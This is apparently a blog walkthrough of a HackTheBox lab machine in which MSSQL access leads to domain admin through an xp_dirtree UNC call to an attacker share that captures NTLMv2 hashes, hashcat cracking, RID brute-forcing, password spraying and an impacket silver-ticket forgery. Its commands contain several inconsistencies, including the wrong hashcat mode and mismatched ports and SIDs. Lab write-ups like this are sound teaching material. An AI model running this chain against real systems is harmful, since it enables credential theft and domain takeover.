Post

Hacking Microsoft SQL Server in AD

Hacking Microsoft SQL Server in AD

Today we’re gonna take a look a medium machine of hackthebox, all related to MSSQL misconfiguration, you gonna learn a lot here, as i did recently, we’re gonna take a look on misconfiguration exploitation and privilege escalation trought silver ticketing.

Target : 10.10.11.90

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH

Let’s start with a simple rustscan,

1
rustscan -a 10.10.11.90 --ulimit  5000

Let’s dig in

1
╰─ nmap -sT -A -Pn -T5 -p 1443 10.10.11.90 --disable-arp-ping --min-rtt-timeout 50ms --max-rtt-timeout 100ms --stats-every=2s

As output we receive just

1
2
53/dns
1443/tcp filtered ies-lm

Let’s access in MSSQL with the given password

Netexec

nxc mssql 10.10.11.90 -u 'scott' -p 'Sm230#C5NatH' --local-auth

We have access, so we try to enum databases

1
nxc mssql 10.10.11.90 -u 'scott' -p 'Sm230#C5NatH' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'

Pasted image 20251013165052

So we access trought MSSQL-client ╰─ mssqlclient.py signed.htb/scott@10.10.11.90

Since there are just default databases, we attempt to make a relay attack using xp_dirtree to try steal NTLMv2 hashes

SQL (scott  guest@master)> EXEC xp_dirtree '\\IP\testshare'

Pasted image 20251013091033

We search on hashcat wiki which module should we use and end up with finding 5600

NTLMv2 hash cracking

hashcat -a 0 -m 0 hash.txt /usr/share/wordlist/rockyou.txt

Pasted image 20251013091203

Password cracked! mssqlsvc : purPLE9795!@

We can join with this user but we don’t see anything interesting, so we attempt to get a list of users using rid bruteforce in netexec nxc mssql 10.10.11.90 -u 'scott' -p 'Sm230#C5NatH' --local-auth --rid-brute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
DC01\scott:Sm230#C5NatH  
SIGNED\Enterprise  
SIGNED\Administrator  
SIGNED\Guest  
SIGNED\krbtgt  
SIGNED\Domain  
SIGNED\Domain  
SIGNED\Domain  
SIGNED\Domain  
SIGNED\Domain  
SIGNED\Cert  
SIGNED\Schema  
SIGNED\Enterprise  
SIGNED\Group  
SIGNED\Read-only  
SIGNED\Cloneable  
SIGNED\Protected  
SIGNED\Key  
SIGNED\Enterprise  
SIGNED\RAS  
SIGNED\Allowed  
SIGNED\Denied  
SIGNED\DC01$  
SIGNED\DnsAdmins  
SIGNED\DnsUpdateProxy  
SIGNED\mssqlsvc  
SIGNED\HR  
SIGNED\IT  
SIGNED\Finance  
SIGNED\Developers  
SIGNED\Support  
SIGNED\oliver.mills  
SIGNED\emma.clark  
SIGNED\liam.wright  
SIGNED\noah.adams  
SIGNED\ava.morris  
SIGNED\sophia.turner  
SIGNED\james.morgan  
SIGNED\mia.cooper  
SIGNED\elijah.brooks  
SIGNED\isabella.evans  
SIGNED\lucas.murphy  
SIGNED\william.johnson  
SIGNED\charlotte.price  
SIGNED\henry.bennett  
SIGNED\amelia.kelly  
SIGNED\jackson.gray  
SIGNED\harper.diaz  
SIGNED\SQLServer2005SQLBrowserUser$DC01
Password spraying
1
╰─ nxc mssql 10.10.11.90 -u final_list.txt  -p 'purPLE9795!@' --local-auth
1
2
MSSQL       10.10.11.90     1433   DC01            
[+] SIGNED.HTB\mssqlsvc:purPLE9795!@

from MSSQL we can see that IT is a admin group

We can attempt to forge a silver ticket

https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/silver-ticket-attack/

Requirements:

1
2
3
4
5
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>

export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache

python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

So we need:

  1. NT HASH
  2. Domain SID
  3. SPN

Since we already have the mssqlsvc cracked password, we can convert it to a NT hash with https://www.browserling.com/tools/ntlm-hash , then we need the sid: We can get the binary SID from MSSQL

1
SELECT SUSER_SID('SIGNED\mssqlsvc') AS SidBinary;
1
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'

As we just get the binary SID, we must convert it in a SID, for this we can use this script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import struct

hex_sid = "0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000"

sid_bytes = bytes.fromhex(hex_sid)

revision = sid_bytes[0]
sub_auth_count = sid_bytes[1]
identifier_authority = int.from_bytes(sid_bytes[2:8], byteorder='big')

sid_string = f"S-{revision}-{identifier_authority}"

offset = 8
for i in range(sub_auth_count):
    sub_auth = struct.unpack('<I', sid_bytes[offset:offset+4])[0]
    sid_string += f"-{sub_auth}"
    offset += 4

print("SID:", sid_string)

SID: S-1-5-21-4088429403-1159899800-2753317549-1105 (Remember to remove the group RID) 1105

SID: S-1-5-21-4088429403-1159899800-2753317549

as SPN we can use MSSQLSvc/DC01.SIGNED.HTB

then we need the Administrator SID (same process)

1
2
3
4
5
SELECT SUSER_SID('SIGNED\Administrator') AS SidBinary;

b'0105000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000'

SID: S-1-5-21-4088429403-1159899800-2753317549-500

(Since IT is a group tho, we need to specify the RID and user id, in this case, 512 is for admin group,1105 is for the user (Grabbed from the SID of mssqlsvc))

ticketer.py -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid "S-1-5-21-4088429403-1159899800-2753317549" -domain signed.htb -spn MSSQLSvc/DC01.SIGNED.HTB -groups 512,1105 -user-id 1103 "Administrator"

now we can export it : export KRB5CCNAME=$pwd/Administrator.ccache

Verify that the ticket is signed correctly klist And then sign in using the ticket: ╰─ mssqlclient.py signed.htb/Administrator@dc01.signed.htb -windows-auth -k -no-pass

Now we are admin in the service MSSQL, but as we’ll use XP_CMDSHELL to exec remote comand, it drops the impersonated SPN, meaning that we will return back to mssqlsvc, but with more privileges, For this we can use a MSSQL feature called OPENROWSET https://learn.microsoft.com/it-it/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-ver17

1
2
3
SELECT * FROM OPENROWSET(BULK N'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS Contents

SELECT * FROM OPENROWSET(BULK N'C:\Users\mssqlvc\Desktop\user.txt', SINGLE_CLOB) AS Contents

As result we get the flag and we pwn the machine.

This post is licensed under CC BY 4.0 by the author.